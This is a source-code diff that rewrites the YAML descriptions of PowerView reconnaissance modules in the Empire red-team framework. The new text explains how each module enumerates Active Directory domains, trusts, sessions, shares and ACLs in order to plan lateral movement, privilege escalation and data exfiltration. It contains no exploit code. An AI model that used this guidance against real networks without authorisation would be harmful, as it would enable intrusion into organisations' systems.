a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml @@ -3,8 +3,21 @@ authors: - name: '' handle: '@meatballs__' link: '' -description: Returns a list of all fault-tolerant distributed file systems for a - given domain. Part of PowerView. +description: Enumerates Distributed File System (DFS) shares within an Active Directory + domain to identify fault-tolerant file sharing infrastructure and potential data + repositories. This module leverages PowerView's Get-DomainDFSshare function to + query the domain's DFS configuration and retrieve comprehensive information about + all DFS namespaces, including share names, target paths, referral information, + and fault-tolerant configurations. The reconnaissance capability is essential for + understanding the domain's file sharing architecture, identifying centralized data + repositories, and mapping the distribution of file resources across multiple servers. + By analyzing DFS shares, operators can identify potential data exfiltration targets, + understand file sharing patterns, and discover opportunities for lateral movement + through file access. The module supports filtering by domain and custom search + bases to focus reconnaissance efforts on specific organizational areas. This information + is crucial for data collection operations, understanding the domain's file sharing + landscape, and identifying potential data exfiltration vectors through centralized + file repositories. software: S0194 tactics: [TA0007] techniques: [T1069, T1615, T1135] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml index d100fb04f..0ce56e0b4 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml @@ -3,8 +3,26 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Returns the domain controllers for the current domain or the specified - domain. Part of PowerView. +description: | + A network reconnaissance module that identifies and enumerates + domain controllers within the current domain or specified domain. + This module is part of the PowerView toolkit and provides + essential information about the Active Directory infrastructure + for further reconnaissance and attack planning. + + The module can discover domain controllers using multiple methods + including DNS queries, LDAP searches, and direct server binding. + It provides detailed information about each domain controller + including hostname, IP address, operating system version, site + membership, and role information such as Global Catalog status. + + This technique is fundamental for Active Directory reconnaissance + as domain controllers are the central authority for authentication, + authorization, and directory services. Understanding the domain + controller landscape is essential for planning Kerberos attacks, + credential harvesting, and understanding the overall domain + architecture. The gathered intelligence can be used for targeting + high-value systems and planning subsequent reconnaissance activities. software: S0194 tactics: [TA0007] techniques: [T1018] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml index 7386b869e..dd905713f 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml @@ -9,8 +9,21 @@ authors: - name: '' handle: '@OrOneEqualsOne' link: '' -description: Returns the default domain or DC policy for a given domain or domain - controller. Part of PowerView. +description: Extracts and analyzes default domain and domain controller policies + to identify security configurations, password policies, account lockout settings, + and other domain-wide security parameters. This module leverages PowerView's Get-DomainPolicyData + function to query the domain's default security policies and retrieve comprehensive + information about domain-wide security settings, including password complexity + requirements, account lockout thresholds, Kerberos policy settings, and audit configurations. + The reconnaissance capability is essential for understanding the domain's security + posture, identifying potential policy-based attack vectors, and mapping the domain's + security configuration. By analyzing domain policies, operators can identify weak + password policies, understand account lockout mechanisms, and discover potential + privilege escalation opportunities through policy misconfigurations. The module + supports extraction of both domain and domain controller policies to provide a + complete picture of the domain's security configuration. This information is crucial + for understanding the domain's security model, identifying potential policy-based + vulnerabilities, and planning attacks that leverage policy weaknesses. software: S0194 tactics: [TA0007] techniques: [T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml index 9c75ad837..7c60e7fb1 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml @@ -3,8 +3,29 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Return all domain trusts for the current domain or a specified domain. - Part of PowerView. +description: | + A network reconnaissance module that enumerates domain trust + relationships within the current domain or specified domain. + This module is part of the PowerView toolkit and provides + critical information about inter-domain relationships for + lateral movement and privilege escalation planning. + + The module can discover trust relationships using multiple + methods including Win32 API calls, .NET methods, and LDAP + queries. It provides detailed information about each trust + including trust direction, trust type, trust attributes, + and the trusted domain information. This includes both + incoming and outgoing trusts, forest trusts, and external + domain relationships. + + This technique is essential for understanding the broader + Active Directory environment as trust relationships define + how domains can authenticate and authorize users from other + domains. Understanding the trust landscape is crucial for + planning cross-domain attacks, identifying potential lateral + movement paths, and understanding the overall enterprise + security architecture. The gathered intelligence can be used + for mapping attack paths across multiple domains and forests. software: S0194 tactics: [TA0007] techniques: [T1482] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml index 5f490eccf..2c76d29f8 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml @@ -3,8 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Returns a list of all file servers extracted from user homedirectory, - scriptpath, and profilepath fields. Part of PowerView. +description: Discovers file servers within an Active Directory domain by analyzing + user account attributes including home directories, script paths, and profile paths + to identify centralized file storage infrastructure. This module leverages PowerView's + Get-DomainFileServer function to query user account attributes and extract file + server information from various path fields, providing comprehensive visibility + into the domain's file storage architecture. The reconnaissance capability is essential + for understanding the domain's file sharing infrastructure, identifying centralized + data repositories, and mapping the distribution of user data across file servers. + By analyzing file server information, operators can identify potential data exfiltration + targets, understand user data storage patterns, and discover opportunities for + lateral movement through file access. The module supports filtering by domain and + custom LDAP queries to focus reconnaissance efforts on specific organizational + areas. This information is crucial for data collection operations, understanding + the domain's file storage landscape, and identifying potential data exfiltration + vectors through centralized file repositories that may contain sensitive user data. software: S0194 tactics: [TA0007] techniques: [T1135] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml index afbb38251..0ce2710c4 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml @@ -3,8 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Return information about a given forest, including the root domain and - SID. Part of PowerView. +description: Enumerates Active Directory forest information to identify the forest + root domain, forest SID, and forest-wide configuration details. This module leverages + PowerView's Get-Forest function to query forest-level attributes and retrieve comprehensive + information about the Active Directory forest, including the forest name, root + domain, forest SID, and forest functional level. The reconnaissance capability + is essential for understanding the broader Active Directory environment, identifying + forest boundaries, and mapping the forest's administrative structure. By analyzing + forest information, operators can identify the forest root domain, understand forest-wide + security policies, and determine the scope of potential cross-domain operations. + This information is crucial for enterprise-wide reconnaissance, understanding the + complete Active Directory topology, and planning operations that may span multiple + domains within the forest. The module provides foundational information about the + forest structure that is essential for comprehensive Active Directory reconnaissance + and cross-domain attack planning. software: S0194 tactics: [TA0007] techniques: [T1482] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml index 7353e193f..4eeba57ce 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Return all domains for a given forest. Part of PowerView. +description: Enumerates all domains within an Active Directory forest to identify + the complete domain hierarchy and forest structure. This module leverages PowerView's + Get-ForestDomain function to query forest-level domain information and retrieve + comprehensive details about all domains within the forest, including domain names, + SIDs, functional levels, and domain relationships. The reconnaissance capability + is essential for understanding the complete scope of the Active Directory environment, + identifying all potential target domains, and mapping the forest's domain hierarchy. + By analyzing forest domain information, operators can identify child domains, understand + domain relationships, and determine the full scope of potential lateral movement + opportunities across the forest. This information is crucial for enterprise-wide + reconnaissance, cross-domain attack planning, and understanding the complete Active + Directory topology. The module provides foundational information about the forest's + domain structure that is essential for comprehensive Active Directory reconnaissance + and multi-domain operations. software: S0194 tactics: [TA0007] techniques: [T1482] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml index dbd7e68ce..1b3ce5c1e 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml @@ -3,7 +3,18 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Gets a list of all current GPOs in a domain. Part of PowerView. +description: Enumerates Group Policy Objects (GPOs) within an Active Directory domain + to identify policy configurations, security settings, and administrative controls. + This module leverages PowerView's Get-DomainGPO function to query the domain's + Group Policy container and retrieve comprehensive information about all GPOs, including + their display names, GUIDs, creation dates, modification timestamps, and linked + locations. The module supports filtering by identity, computer-specific policies, + user-specific policies, and custom LDAP queries to focus reconnaissance efforts + on specific policy areas. This reconnaissance capability is essential for understanding + the domain's security posture, identifying potential policy-based attack vectors, + and mapping administrative control structures. The module can reveal security policies, + software deployment configurations, user rights assignments, and other domain-wide + settings that may impact lateral movement and privilege escalation opportunities. software: S0194 tactics: [TA0007] techniques: [T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml index 1306f5f13..c3f260ab8 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-GPOComputer authors: - name: Will Schroeder diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml index b1c28f371..0f889bee6 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml @@ -1,10 +1,32 @@ +# Needs Revisions name: Get-DomainGroup authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Gets a list of all current groups in a domain, or all the groups a given - user/group object belongs to. Part of PowerView. +description: | + A comprehensive Active Directory reconnaissance module that queries + and enumerates group objects across the domain. This module is + part of the PowerView toolkit and provides extensive filtering + capabilities to identify specific groups, their memberships, and + administrative privileges for privilege escalation planning. + + The module supports multiple search criteria including group name, + SID, GUID, and distinguished name patterns. It can filter for + specific group types such as administrative groups with adminCount=1, + groups containing specific members, and groups with particular + descriptions or attributes. This makes it particularly effective + for identifying high-value groups and understanding the domain's + permission structure. + + This technique is essential for Active Directory reconnaissance + as it provides detailed group information including member lists, + group scopes, security attributes, and administrative privileges. + The gathered intelligence can be used for privilege escalation + planning, lateral movement targeting, and understanding the overall + domain security architecture. The module includes advanced LDAP + filtering options for precise targeting and comprehensive output + formatting. software: S0194 tactics: [TA0007] techniques: [T1482, T1615, T1069.002] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml index 25298d0ee..efeebc2c5 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml @@ -3,8 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Returns the members of a given group, with the option to "Recurse" to - find all effective group members. Part of PowerView. +description: Enumerates group membership details within Active Directory to identify + direct and nested group members, supporting both direct membership queries and + recursive group expansion. This module leverages PowerView's Get-DomainGroupMember + function to query group membership information and retrieve comprehensive details + about group members, including user accounts, computer objects, and nested groups. + The reconnaissance capability is essential for understanding the domain's group + structure, identifying privilege escalation opportunities, and mapping administrative + access relationships. By analyzing group memberships, operators can identify users + with specific permissions, understand nested group relationships, and discover + potential privilege escalation paths through group membership inheritance. The + module supports recursive group expansion using both traditional recursion and + LDAP_MATCHING_RULE_IN_CHAIN for efficient nested group discovery. This information + is crucial for privilege escalation planning, understanding administrative access + patterns, and identifying high-value targets within specific group contexts. software: S0194 tactics: [TA0007] techniques: [T1482, T1615, T1069.002] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml index 4fca01a56..d2760a184 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml @@ -3,8 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Returns a list of all current users in a specified local group on a - local or remote machine. Part of PowerView. +description: Enumerates local group membership on target systems to identify users + with local administrative access, supporting both local and remote queries with + recursive domain group resolution. This module leverages PowerView's Get-NetLocalGroup + function to query local group membership information and retrieve comprehensive + details about local group members, including local users, domain users, and domain + groups. The reconnaissance capability is essential for understanding local administrative + access patterns, identifying privilege escalation opportunities, and mapping local + administrative relationships across the network. By analyzing local group memberships, + operators can identify users with local administrative access, understand domain + group inheritance in local contexts, and discover potential lateral movement opportunities + through local administrative access. The module supports recursive domain group + resolution to identify all domain users who have local administrative access through + nested group memberships. This information is crucial for lateral movement planning, + privilege escalation targeting, and understanding the distribution of administrative + access across the network. software: S0194 tactics: [TA0007] techniques: [T1482, T1615, T1069.001] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml index 71f486f1c..fccdd358a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml @@ -3,8 +3,19 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Execute the NetWkstaUserEnum Win32API call to query a given host for - actively logged on users. Part of PowerView. +description: Enumerates actively logged-on users on a target system by leveraging + the NetWkstaUserEnum Win32API call to identify users currently authenticated to + the workstation or server. This module provides visibility into user authentication + states, including domain and local user accounts, logon times, and session information. + The reconnaissance capability is essential for understanding user presence across + the network, identifying potential lateral movement targets, and mapping active + user sessions. By querying logged-on user information, operators can identify which + users are actively working on systems, determine session persistence for targeted + attacks, and understand the network's current usage patterns. This information + is crucial for timing attacks, identifying high-value targets, and understanding + the operational patterns of the target environment. The module supports both local + and remote queries to build a comprehensive picture of user activity across the + network. software: S0194 tactics: [TA0007] techniques: [T1033, T1018] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml index 8ffc2099b..f38c3310c 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml @@ -6,9 +6,8 @@ authors: - name: '' handle: '@pyrotek3' link: '' -description: 'Returns the ACLs associated with a specific active directory object. - Part of PowerView. WARNING: specify a specific object, otherwise a huge amount - of data will be returned.' +description: | + Enumerates Access Control Lists (ACLs) associated with Active Directory objects to identify permissions, security descriptors, and access rights. This module leverages PowerView's Get-DomainObjectAcl function to retrieve detailed security information for users, groups, computers, and other domain entities. The reconnaissance capability is essential for understanding the domain's security model, identifying privilege escalation opportunities, and mapping access control relationships. By analyzing ACLs, operators can identify users with specific permissions such as password reset rights, group membership modification capabilities, and object modification privileges. The module supports both DACL (Discretionary Access Control List) and SACL (System Access Control List) enumeration, enabling comprehensive security analysis. This information is crucial for privilege escalation planning, persistence establishment, and understanding the domain's administrative structure. The module includes filtering options for specific rights and GUID resolution capabilities to provide human-readable permission information. Warning: Specifying a specific object is recommended to avoid overwhelming output from broad queries. software: S0194 tactics: [TA0007] techniques: [T1069, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml index e06ddeb75..d39b040fd 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml @@ -3,7 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Gets a list of all current OUs in a domain. Part of PowerView. +description: Enumerates Organizational Units (OUs) within an Active Directory domain + to identify the hierarchical structure, administrative boundaries, and organizational + layout. This module leverages PowerView's Get-DomainOU function to query the domain's + OU container and retrieve comprehensive information about all organizational units, + including their distinguished names, descriptions, creation dates, and Group Policy + links. The reconnaissance capability is essential for understanding the domain's + administrative structure, identifying logical groupings of users and computers, + and mapping the organizational hierarchy. By analyzing OU structures, operators + can identify potential administrative boundaries, understand delegation patterns, + and locate specific organizational units that may contain high-value targets. The + module supports filtering by identity, Group Policy links, and custom LDAP queries + to focus reconnaissance efforts on specific organizational areas. This information + is crucial for targeted reconnaissance, understanding administrative control structures, + and identifying potential privilege escalation opportunities within specific organizational + contexts. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml index 0f0f9dcb1..0cdaf2426 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml @@ -3,9 +3,19 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: "Query a given RDP remote service for active sessions and originating - IPs (replacement for qwinsta). Note: needs admin rights on the remote server you're - querying" +description: Enumerates active Remote Desktop Protocol (RDP) sessions on a target + system by querying the Terminal Services API to identify users currently connected + via remote desktop. This module provides detailed session information including + session IDs, user names, connection states, client IP addresses, and session durations. + The reconnaissance capability is essential for understanding remote access patterns, + identifying active administrative sessions, and mapping user presence across the + network. By leveraging the Terminal Services API (replacing the legacy qwinsta + command), operators can identify which users are actively working on systems remotely, + determine session persistence for targeted attacks, and understand the network's + remote access landscape. This information is crucial for timing attacks, identifying + high-value targets, and understanding the operational patterns of the target environment. + Note that administrative privileges are required on the target system to query + RDP session information. software: S0194 tactics: [TA0007] techniques: [T1076, T1018, T1933] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml index 1c166c826..8b073f343 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml @@ -3,8 +3,18 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Execute the NetSessionEnum Win32API call to query a given host for active - sessions on the host. Part of PowerView. +description: Enumerates active network sessions on a target system by leveraging + the NetSessionEnum Win32API call to identify users currently connected to file + shares, administrative sessions, and other network resources. This module provides + visibility into active user sessions, including session types, connection times, + idle durations, and client information. The reconnaissance capability is particularly + valuable for understanding user activity patterns, identifying potential lateral + movement opportunities, and mapping user presence across the network. By querying + session information, operators can identify which users are actively working on + systems, determine session persistence for targeted attacks, and understand the + network's current usage patterns. This information is crucial for timing attacks, + identifying high-value targets, and understanding the operational patterns of the + target environment. software: S0194 tactics: [TA0007] techniques: [T1076, T1018, T1933] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml index ac5f6b5c4..da0f0ae2a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Gets a list of all current sites in a domain. Part of PowerView. +description: Enumerates Active Directory sites within a domain to identify the physical + network topology, geographic distribution, and site-based replication boundaries. + This module leverages PowerView's Get-DomainSite function to query the domain's + site container and retrieve comprehensive information about all AD sites, including + their names, descriptions, site links, and associated subnets. The reconnaissance + capability is essential for understanding the network's physical layout, identifying + geographically distributed resources, and mapping site-based administrative boundaries. + By analyzing site structures, operators can identify potential network segmentation, + understand replication patterns, and locate systems within specific geographic + or network locations. The module supports filtering by identity, Group Policy links, + and custom LDAP queries to focus reconnaissance efforts on specific site areas. + This information is crucial for understanding the network topology, identifying + potential network-based attack vectors, and planning lateral movement strategies + that account for physical network boundaries and site-based security policies. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml index a1eae54a2..32776461d 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Gets a list of all current subnets in a domain. Part of PowerView. +description: Enumerates Active Directory subnets to identify network segments, IP + address ranges, and site associations within the domain. This module leverages + PowerView's Get-DomainSubnet function to query the domain's subnet container and + retrieve comprehensive information about all network subnets, including their IP + address ranges, site associations, descriptions, and location information. The + reconnaissance capability is essential for understanding the network's IP addressing + scheme, identifying network segmentation boundaries, and mapping the relationship + between network subnets and Active Directory sites. By analyzing subnet information, + operators can identify potential network-based attack vectors, understand the network + topology, and plan lateral movement strategies that account for network boundaries. + The module supports filtering by site name and custom LDAP queries to focus reconnaissance + efforts on specific network areas. This information is crucial for network reconnaissance, + understanding the IP addressing architecture, and identifying potential network-based + privilege escalation opportunities within specific subnet ranges. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615, T1016] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml index a46562508..e12ffaf2d 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml @@ -3,8 +3,20 @@ authors: - name: '' handle: '@benichmt1' link: '' -description: Pulls hostnames from AD, performs a Reverse DNS lookup, and parses the - output into ranges. +description: Performs comprehensive network range discovery by extracting hostnames + from Active Directory, conducting reverse DNS lookups, and analyzing the results + to identify network subnet ranges and IP address distributions. This module leverages + PowerView to query AD computer objects and then performs reverse DNS resolution + to map hostnames to IP addresses, subsequently parsing the results into logical + network ranges. The reconnaissance capability is essential for understanding the + network's IP addressing scheme, identifying network segments, and mapping the distribution + of systems across different subnet ranges. By analyzing the IP address distribution, + operators can identify potential network-based attack vectors, understand the network + topology, and plan targeted reconnaissance within specific IP ranges. The module + supports both individual IP listing and range-based output to provide flexibility + in network analysis. This information is crucial for network reconnaissance, understanding + the IP addressing architecture, and identifying potential network-based lateral + movement opportunities within specific subnet ranges. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615, T1016] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml index 16e5ed07d..bd2090a5a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml @@ -1,10 +1,31 @@ +# Needs Revisions name: Get-DomainUser authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Query information for a given user or users in the specified domain. - Part of PowerView. +description: | + A comprehensive Active Directory reconnaissance module that queries + and enumerates user accounts across the domain. This module is + part of the PowerView toolkit and provides extensive filtering + and search capabilities to identify specific user accounts and + their properties. + + The module supports multiple search criteria including username, + SID, GUID, and distinguished name patterns. It can filter for + specific user types such as service accounts with SPNs, privileged + accounts with adminCount=1, accounts with delegation settings, + and users with specific Kerberos configurations. This makes it + particularly effective for identifying high-value targets and + understanding the domain's user landscape. + + This technique is essential for Active Directory reconnaissance + as it provides detailed user information including group memberships, + account settings, last logon times, and security attributes. The + gathered intelligence can be used for privilege escalation planning, + lateral movement targeting, and understanding the overall domain + security posture. The module includes advanced LDAP filtering + options for precise targeting and comprehensive output formatting. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml index 2ea19bce3..497d47c46 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml @@ -3,7 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Maps all reachable domain trusts with .CSV output. Part of PowerView. +description: Performs comprehensive domain trust enumeration and mapping to identify + all reachable domains, trust relationships, and cross-domain access opportunities. + This module leverages PowerView's Get-DomainTrustMapping function to systematically + discover and analyze trust relationships between domains, forests, and external + domains. The reconnaissance capability is essential for understanding the broader + Active Directory environment, identifying lateral movement paths across domain + boundaries, and mapping the complete trust topology. By analyzing trust relationships, + operators can identify potential cross-domain attack vectors, understand authentication + flows between domains, and discover opportunities for privilege escalation across + domain boundaries. The module supports multiple enumeration methods including LDAP + queries, .NET APIs, and native Windows API calls to ensure comprehensive trust + discovery. This information is crucial for enterprise-wide reconnaissance, cross-domain + lateral movement planning, and understanding the complete scope of the target environment. + The module outputs results in CSV format for easy analysis and integration with + other reconnaissance tools. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml index 4df752f98..190bc50a3 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml @@ -3,8 +3,22 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Query the process lists of remote machines, searching for processes - with a specific name or owned by a specific user. Part of PowerView. +description: Performs comprehensive process hunting across multiple domain systems + by querying remote process lists to identify specific processes or processes owned + by particular users. This module leverages PowerView's Find-DomainProcess function + to systematically enumerate running processes across the domain, supporting both + process name-based hunting and user-based targeting. The module can search for + specific applications, services, or processes owned by privileged users such as + Domain Admins, enabling operators to identify high-value targets and understand + the domain's operational landscape. The reconnaissance capability is essential + for identifying potential lateral movement opportunities, understanding user activity + patterns, and mapping the distribution of specific applications or services across + the network. By combining computer enumeration with process discovery, operators + can build a comprehensive picture of the domain's computing environment and identify + systems where target users are actively working or where specific applications + are running. The module supports advanced filtering options including operating + system, site membership, and delegation settings to focus reconnaissance efforts + on relevant systems. software: S0194 tactics: [TA0007] techniques: [T1018, T1057] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml index 4419586c1..7b077c125 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml @@ -3,9 +3,22 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a SID, name, or SamAccountName to query for a specified domain - object, and then sets a specified "PropertyName" to a specified "PropertyValue". - Part of PowerView. +description: Modifies Active Directory object properties by leveraging PowerView's + Set-DomainObject function to alter user accounts, computer objects, groups, and + other domain entities. This module provides granular control over AD object attributes, + supporting property setting, clearing, and XOR operations for advanced manipulation + scenarios. The module can modify critical user properties such as account settings, + group memberships, security attributes, and descriptive information. This capability + is essential for privilege escalation operations, persistence establishment, and + domain manipulation activities. By modifying AD object properties, operators can + alter user permissions, change account settings, update group memberships, and + manipulate security attributes to achieve various operational objectives. The module + supports multiple modification modes including direct property setting, property + clearing, and XOR operations for complex attribute manipulation. This functionality + is crucial for maintaining persistence, escalating privileges, and manipulating + the domain environment to support ongoing operations. The module includes comprehensive + filtering options to target specific objects and supports various output formats + for operational flexibility. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml index 9db241f52..d92a9e623 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds shares on machines in the domain. Part of PowerView. +description: Enumerates network shares across multiple domain systems to identify + file sharing resources, administrative shares, and potential data repositories. + This module leverages PowerView's Find-DomainShare function to systematically discover + shared folders, drives, and network resources across the domain. The reconnaissance + capability is essential for understanding the network's file sharing landscape, + identifying potential data exfiltration targets, and mapping administrative access + points. By discovering shares across multiple systems, operators can identify common + file sharing patterns, locate sensitive data repositories, and understand the domain's + data distribution architecture. The module supports filtering by operating system, + site membership, and access permissions to focus reconnaissance efforts on relevant + systems. 